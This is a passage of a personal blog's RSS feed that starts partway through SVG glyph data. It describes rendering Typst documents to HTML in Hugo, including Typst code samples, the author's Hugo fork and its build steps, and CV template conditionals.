1.7479 -1.8634 c 0.24639988 0 0.4697001 0.038499996 0.6622 0.1232 c 0.8470001 0.34649998 1.1242001 1.309 1.1242001 2.4871001 Z m -0.8778 1.7093999 c 0.08469987 -0.28489995 0.1308999 -0.8162 0.1308999 -1.6092999 c 0 -0.75460005 -0.030800104 -1.2859001 -0.10010004 -1.6016 c -0.092400074 -0.4543 -0.41579986 -0.8316 -0.93939996 -0.8316 c -0.1925 0 -0.385 0.0616 -0.56210005 0.1925 c -0.23869991 0.1771 -0.385 0.5236 -0.44659996 1.0548999 c -0.023100019 0.17710006 -0.030799985 0.5698 -0.030799985 1.1858001 c 0 0.74689984 0.03849995 1.2628 0.11549997 1.5399997 c 0.13090003 0.49280024 0.4389 0.7392001 0.924 0.7392001 c 0.4619999 0 0.8008001 -0.30030012 0.9086001 -0.66989994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFF343F9EA1B4E55468E4138751DE9EEC" overflow="visible"&gt;&lt;path d="M 0 0m 4.499 3.883 c 0 -0.286 0.1539998 -0.4289999 0.45099974 -0.4289999 c 0.38500023 0 0.638 0.34100008 0.638 0.71500015 c 0 0.4289999 -0.35199976 0.72599983 -0.78099966 0.72599983 c -0.49500036 0 -1.0230002 -0.32999992 -1.6060002 -0.9790001 c -0.45099998 -0.4949999 -0.8139999 -0.8139999 -1.1110001 -0.957 l 1.1110001 4.51 c -0.022000074 0.09899998 -0.04399991 0.16499996 -0.18700004 0.16499996 c -0.352 0 -1.188 -0.09899998 -1.3199999 -0.10999966 c -0.16499996 -0.022000313 -0.24199998 -0.09899998 -0.24199998 -0.26400042 c 0 -0.10999966 0.09899998 -0.16499996 0.29699993 -0.16499996 c 0.20899999 0 0.495 0.011000156 0.495 -0.14299965 l -1.595 -6.479 c -0.032999992 -0.12099999 -0.04399997 -0.19799998 -0.04399997 -0.24199998 c 0 -0.231 0.12099999 -0.352 0.352 -0.352 c 0.18700004 0 0.32999992 0.088 0.40699995 0.253 c 0.055000067 0.09900001 0.25300002 0.88 0.605 2.354 c 0.5719999 -0.055000067 1.1769999 -0.33000016 1.1769999 -0.8800001 c 0 -0.16499996 -0.0769999 -0.495 -0.0769999 -0.6049999 c 0 -0.62700003 0.40700006 -1.1220001 1.0340002 -1.1220001 c 0.638 0 1.0669999 0.572 1.2869997 1.7160001 c 0 0.09899998 -0.05499983 0.15399992 -0.16499996 0.15399992 c -0.09899998 0 -0.16499996 -0.07700002 -0.19799995 -0.23099995 c -0.2420001 -0.869 -0.53900003 -1.309 -0.90199995 -1.309 c -0.19799995 0 -0.29699993 0.15400001 -0.29699993 0.462 c 0 0.176 0.13199997 0.77 0.13199997 0.946 c 0 0.627 -0.50600004 1.012 -1.529 1.166 c 0.25300002 0.17599988 0.53900003 0.4289999 0.8469999 0.75900006 c 0.3080001 0.32999992 0.5280001 0.5389998 0.671 0.6600001 c 0.29699993 0.24199963 0.5830002 0.36299992 0.83599997 0.36299992 c 0.11000013 0 0.19799995 -0.022000313 0.26399994 -0.065999985 c -0.29699993 -0.055000305 -0.5499997 -0.32999992 -0.5499997 -0.6160002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gEF8BA589DAA93C55687BBE9F18D785DF" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 4.037 h -6.798 c -0.176 0 -0.264 -0.0880003 -0.264 -0.25300026 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.13199997 -0.12099981 0.25300026 -0.26399994 0.25300026 Z m 0 -2.0680003 h -6.798 c -0.176 0 -0.264 -0.08799994 -0.264 -0.25300002 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.143 -0.12099981 0.25300002 -0.26399994 0.25300002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g47CD197A6E96793962ED8F7E2A9BF9CE" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 3.014 h -3.1350002 v 3.1350002 c 0 0.17599964 -0.08799982 0.26399994 -0.26399994 0.26399994 c -0.17599964 0 -0.26399994 -0.0880003 -0.26399994 -0.26399994 v -3.1350002 h -3.1349998 c -0.176 0 -0.264 -0.08800006 -0.264 -0.26399994 c 0 -0.17600012 0.088 -0.26399994 0.264 -0.26399994 h 3.1349998 v -3.135 c 0 -0.176 0.0880003 -0.264 0.26399994 -0.264 c 0.17600012 0 0.26399994 0.088 0.26399994 0.264 v 3.135 h 3.1350002 c 0.17600012 0 0.26399994 0.08799982 0.26399994 0.26399994 c 0 0.14299989 -0.12099981 0.26399994 -0.26399994 0.26399994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g1238AD826F5480B4BA5E13D8710EE24A" overflow="visible"&gt;&lt;path d="M 0 0m 8.261 0.583 c 0 0.32999998 -0.28599977 0.583 -0.6159997 0.583 c -0.34100008 0 -0.62699986 -0.25300002 -0.62699986 -0.583 c 0 -0.33 0.28599977 -0.583 0.62699986 -0.583 c 0.32999992 0 0.6159997 0.253 0.6159997 0.583 Z m -3.0359998 0 c 0 0.32999998 -0.28599977 0.583 -0.6159997 0.583 c -0.34100008 0 -0.6160002 -0.25300002 -0.6160002 -0.583 c 0 -0.33 0.2750001 -0.583 0.6160002 -0.583 c 0.32999992 0 0.6159997 0.253 0.6159997 0.583 Z m -3.0249999 0 c 0 0.32999998 -0.286 0.583 -0.6270001 0.583 c -0.32999992 0 -0.61599994 -0.25300002 -0.61599994 -0.583 c 0 -0.33 0.286 -0.583 0.61599994 -0.583 c 0.33000004 0 0.6270001 0.253 0.6270001 0.583 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gE2B7E3D264F2F7FB4E5DAE10F9857908" overflow="visible"&gt;&lt;path d="M 0 0m 5.907 1.507 c -0.25300026 -0.86899996 -0.6160002 -1.309 -1.0669999 -1.309 c -0.14300013 0 -0.22000027 0.11 -0.22000027 0.319 c 0 0.15399998 0.065999985 0.407 0.19799995 0.74799997 c 0.44000006 1.199 0.6600003 1.991 0.6600003 2.3979998 c 0 0.7700002 -0.5170002 1.1990001 -1.2870002 1.1990001 c -0.6489999 0 -1.21 -0.28599977 -1.661 -0.86899996 c -0.08800006 0.48399973 -0.47300005 0.86899996 -1.0339999 0.86899996 c -0.61600006 0 -0.85800004 -0.572 -1.0120001 -1.0669999 c -0.109999985 -0.352 -0.16499999 -0.5610001 -0.16499999 -0.638 c 0 -0.09899998 0.055000007 -0.15400004 0.176 -0.15400004 c 0.055000007 0 0.088 0.010999918 0.12099999 0.032999992 c 0.055000007 0.09899998 0.088 0.17599988 0.09899998 0.25300002 c 0.19800001 0.83599997 0.45100003 1.2539997 0.74799997 1.2539997 c 0.19800007 0 0.29700005 -0.1539998 0.29700005 -0.4619999 c 0 -0.14299989 -0.054999948 -0.43999982 -0.176 -0.8909998 l -0.627 -2.497 c -0.032999992 -0.143 -0.09900004 -0.42900002 -0.09900004 -0.48400003 c 0 -0.22 0.12099999 -0.32999998 0.36299998 -0.32999998 c 0.20899999 0 0.36300004 0.11 0.44000006 0.32999998 c 0.021999955 0.055000007 0.08799994 0.32999998 0.20899999 0.803 l 0.23100007 0.979 l 0.32999992 1.254 c 0.12100005 0.25300002 0.3080001 0.50600004 0.53900003 0.77 c 0.319 0.35200024 0.7149999 0.5279999 1.188 0.5279999 c 0.36299992 0 0.53900003 -0.24199963 0.53900003 -0.7149997 c 0 -0.41799998 -0.23099995 -1.2540002 -0.704 -2.5080001 c -0.07700014 -0.19799995 -0.11000013 -0.36299992 -0.11000013 -0.5059999 c 0 -0.53900003 0.40700006 -0.935 0.93499994 -0.935 c 0.4840002 0 0.86899996 0.275 1.144 0.825 c 0.20900011 0.44000006 0.31900024 0.737 0.31900024 0.88 c 0 0.09899998 -0.055000305 0.15400004 -0.17600012 0.15400004 c -0.032999992 0 -0.19799995 -0.0990001 -0.19799995 -0.23100007 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g19DB37D42873A9E80AFC41942A4D40C4" overflow="visible"&gt;&lt;path d="M 0 0m 2.6069999 7.3259997 c -0.5609999 0 -1.0339999 -0.19799995 -1.4409999 -0.59399986 c -0.407 -0.3959999 -0.616 -0.8579998 -0.616 -1.4189997 c 0 -0.37400007 0.27499998 -0.64900017 0.616 -0.64900017 c 0.33000004 0 0.605 0.28599977 0.605 0.6159997 c 0 0.3630004 -0.26400006 0.6160002 -0.61600006 0.6160002 c -0.032999992 0 -0.054999948 0 -0.07700002 -0.011000156 c 0.20899999 0.53900003 0.6930001 1.0120001 1.386 1.0120001 c 0.90199995 0 1.408 -0.78099966 1.408 -1.7269998 c 0 -0.737 -0.37400007 -1.529 -1.122 -2.365 l -2.068 -2.332 c -0.143 -0.16499999 -0.13199997 -0.15399998 -0.13199997 -0.473 h 4.081 l 0.31899977 1.98 h -0.36299992 c -0.08799982 -0.561 -0.16499996 -0.88 -0.23099995 -0.979 c -0.05499983 -0.055000067 -0.385 -0.07700002 -0.99 -0.07700002 h -1.8369999 l 1.0669999 1.045 c 0.7479999 0.7040001 1.694 1.4629999 2.0130002 2.046 c 0.21999979 0.38500023 0.32999992 0.77 0.32999992 1.1550002 c 0 1.2979999 -1.0120001 2.1559997 -2.3320003 2.1559997 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;
&lt;/div&gt;
&lt;p&gt;(Don’t ask me what this means, I just copied it &lt;a href="https://typst.app/docs/reference/math/"&gt;from the docs&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;Emojis and icons are super easy 🐈️, just use &lt;code&gt;#emoji.cat&lt;/code&gt; 💥&lt;br&gt;Because it’s a proper programming language, you can do loops! This source generates a list:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typst"&gt;&lt;span style="color: #d73948"&gt;#&lt;/span&gt;&lt;span style="color: #d73948"&gt;for&lt;/span&gt; i &lt;span style="color: #d73948"&gt;in&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;range&lt;/span&gt;(&lt;span style="color: #b60157"&gt;3&lt;/span&gt;){&lt;br&gt; i &lt;span style="color: #d73948"&gt;+=&lt;/span&gt; &lt;span style="color: #b60157"&gt;1&lt;/span&gt;&lt;br&gt; [&lt;span style="color: #8b41b1"&gt;-&lt;/span&gt; Loop #{i}, #{i &lt;span style="color: #d73948"&gt;==&lt;/span&gt; &lt;span style="color: #b60157"&gt;2&lt;/span&gt;}, &lt;span style="color: #4b69c6"&gt;#&lt;/span&gt;&lt;span style="color: #4b69c6"&gt;lower&lt;/span&gt;(&lt;span style="color: #4b69c6"&gt;lorem&lt;/span&gt;(i))]&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Loop 1, &lt;code data-lang="typc"&gt;&lt;span style="color: #d73948"&gt;false&lt;/span&gt;&lt;/code&gt;, lorem.&lt;/li&gt;
&lt;li&gt;Loop 2, &lt;code data-lang="typc"&gt;&lt;span style="color: #d73948"&gt;true&lt;/span&gt;&lt;/code&gt;, lorem ipsum.&lt;/li&gt;
&lt;li&gt;Loop 3, &lt;code data-lang="typc"&gt;&lt;span style="color: #d73948"&gt;false&lt;/span&gt;&lt;/code&gt;, lorem ipsum dolor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because Typst is just generating HTML, the CSS styling works as it normally would on your site.&lt;/p&gt;
&lt;p&gt;There are, as always, some sticking points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you want to render into PDF with the normal Typst CLI (&lt;code&gt;typst compile foo.typ&lt;/code&gt;), Hugo’s shortcodes are a bit problematic. In Hugo, you can use the &lt;code&gt;{{&amp;lt; relref "typst-and-hugo" &gt;}}&lt;/code&gt; shortcode to link to other pages, which renders to → &lt;code&gt;/blog/typst-and-hugo/&lt;/code&gt;. While being perfectly well understood by Hugo, these shortcodes are not well formed Typst code, so the Typst compiler will barf when it finds them.&lt;br&gt;I suspect you could get Hugo to just handle the first step of rendering the shortcodes, then dumping this mostly still Typst code to a file. This technique would work for simple things like the &lt;code&gt;relref&lt;/code&gt; example, where all you get back is text, but wouldn’t work for things like images, where the shortcode generates a bunch of HTML that Typst definitely can’t understand!&lt;/li&gt;
&lt;li&gt;Adjacent to the previous point, with Hugo you add post metadata in a front meta section of the document, delimited with &lt;code&gt;---&lt;/code&gt; characters. Typst doesn’t mind these characters, but you’ll want to strip them somehow if you want to render to PDF as well as HTML, otherwise the raw YAML metadata will show up in your PDF.&lt;/li&gt;
&lt;li&gt;General pain from using a fork of Hugo, it broke my CI. The GitHub Action I had set up to automatically build the site unsurprisingly doesn’t know to use my Hugo fork to build things (and it’s not super trivial to make it use some custom binary).&lt;/li&gt;
&lt;li&gt;Of course: it doesn’t generate HTML in the same way as Hugo’s Markdown renderer! This means if your CSS makes some assumptions about how the HTML structured, you’ll need to make changes. Expect footnotes and code blocks to behave differently.&lt;/li&gt;
&lt;li&gt;Performance: the Typst compiler is pretty fast, but there is inevitable overhead for rendering via an external process. Once you’ve got hundreds or thousands of pages, I think this setup will crawl!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To give it a try yourself, you’ll need to build &lt;a href="https://github.com/GeorgeHoneywood/hugo/tree/typst"&gt;my Hugo fork&lt;/a&gt; from source. I think something like this will work, once you’ve cloned the repo:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Switch to the &lt;code&gt;typst&lt;/code&gt; branch&lt;/li&gt;
&lt;li&gt;Build with &lt;code&gt;CGO_ENABLED=1 go build&lt;/code&gt; (add &lt;code&gt;-tags extended&lt;/code&gt; if you need it). You’ll need a pretty modern Go toolchain, at least &lt;code&gt;v1.24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use the built &lt;code&gt;hugo&lt;/code&gt; binary to generate your site. You can either add it to &lt;code&gt;$PATH&lt;/code&gt;, or just use an explicit path to the binary, &lt;code&gt;path/to/clone/of/hugo/hugo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Then make some pages with &lt;code&gt;.typ&lt;/code&gt; extensions, and Hugo will use the Typst renderer&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Full disclosure: I am not planning on maintaining this fork, but the patchset is pretty mimimal, so should be easy enough to keep up to date with upstream. For those curious, you can have a look at the source for this post &lt;a href="https://raw.githubusercontent.com/GeorgeHoneywood/george.honeywood.org.uk/master/content/blog/typst-and-hugo-properly/index.typ"&gt;here&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Typst + Hugo</title><link>https://george.honeywood.org.uk/blog/typst-and-hugo/</link><pubDate>Mon, 27 Oct 2025 18:16:01 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typst-and-hugo/</guid><description>&lt;p&gt;&lt;em&gt;(2025-11-02 update: I&amp;rsquo;ve now done this much more cleanly, by forking and modifying Hugo such that it can render &lt;code&gt;.typ&lt;/code&gt; files directly. See my new post &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/"
&gt;here&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One slightly vain thing that I&amp;rsquo;ve wanted to do for a while is have my CV available in both PDF and HTML form, without the hassle of keeping two different versions in sync.
On the face of it, this sounds pretty trivial, just write in Markdown, then use Pandoc to export to both formats.&lt;br&gt;
If only I didn&amp;rsquo;t care about styling!&lt;/p&gt;
&lt;p&gt;Fortunately for me, &lt;a href="https://george.honeywood.org.uk/blog/typst/"
&gt;Typst&lt;/a&gt; (the typesetting system I use for my CV), recently &lt;a href="https://typst.app/docs/reference/html/"
target="_blank" rel="noreferrer noopener"
&gt;gained the ability to output HTML&lt;/a&gt;.
It generates unstyled, semantic HTML, which is exactly what you want for embedding it into an existing website.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve updated my CV template &lt;a href="https://github.com/GeorgeHoneywood/alta-typst"
target="_blank" rel="noreferrer noopener"
&gt;Alta Typst&lt;/a&gt; to use this new feature. The bulk of the work was adding conditionals, for when you want to control exactly how the HTML is structured. Where before I had this tiny one line function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;#let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;term&lt;/span&gt;(period, location) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;)[&lt;span style="color:#a6e22e"&gt;#icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;calendar&amp;#34;&lt;/span&gt;) #period &lt;span style="color:#a6e22e"&gt;#h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;fr&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;#icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;location&amp;#34;&lt;/span&gt;) #location]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I now have this 20 line monstrosity:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;#let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;term&lt;/span&gt;(period, location) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; context {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// PDF == paged&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;() &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;paged&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;calendar&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; period
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;fr&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;location&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; location
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; html.&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; style: &lt;span style="color:#e6db74"&gt;&amp;#34;display: flex; align-items: center; gap: 10px;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;calendar&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; html.&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;(period)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;icon&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;location&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; html.&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;(location)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Admittedly, you could make this a lot smaller, but this is what the formatter wants! This will give you HTML output that lays out fairly similar to the PDF, thanks to the inline style.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_4ef00e08c43b29b1.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_c5c420598170434.webp 320w, https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_e9684cd1ccd50d08.webp 640w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typst-and-hugo/images/html-vs-pdf_hu_bf7e7c755c37b288.jpg'
width="657"
height="178"
loading="lazy"
alt='Comparison of Typst rendered to HTML (top) and PDF (bottom)'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Above is HTML output, below is PDF output
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The magical part is the icons, these are embedded as SVG directly in the HTML doc &amp;ndash; it&amp;rsquo;s not particularly efficient when you&amp;rsquo;ve got the same icon reused a few times, but it sure is easy! This also works for maths, it just gets directly embedded as SVG.&lt;/p&gt;
&lt;p&gt;There are only a couple of primitives:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Insert specific HTML elements using e.g. &lt;code&gt;html.div()&lt;/code&gt; or &lt;code&gt;html.span()&lt;/code&gt;, and add any attributes as desired.&lt;/li&gt;
&lt;li&gt;Render Typst content direct to SVG, with &lt;code&gt;html.frame()&lt;/code&gt;. This is useful for icons, diagrams, and maths, things that don&amp;rsquo;t directly correspond to HTML.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hugo (the static site generator used for this blog), can plonk the Typst generated HTML inside the site base template, so it inherits the usual styling and navigation.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m definitely not a Hugo expert, but the following seems to work for embedding a single Typst page.&lt;br&gt;
I added the new page to the main menu in &lt;code&gt;config.toml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# config.toml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[[&lt;span style="color:#a6e22e"&gt;menu&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;identifier&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;cv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;CV&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;CV&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;/cv/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# hack to make hugo rebuild when the CV changes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# still need to refresh the page manually, live-reload doesn&amp;#39;t work&lt;/span&gt;
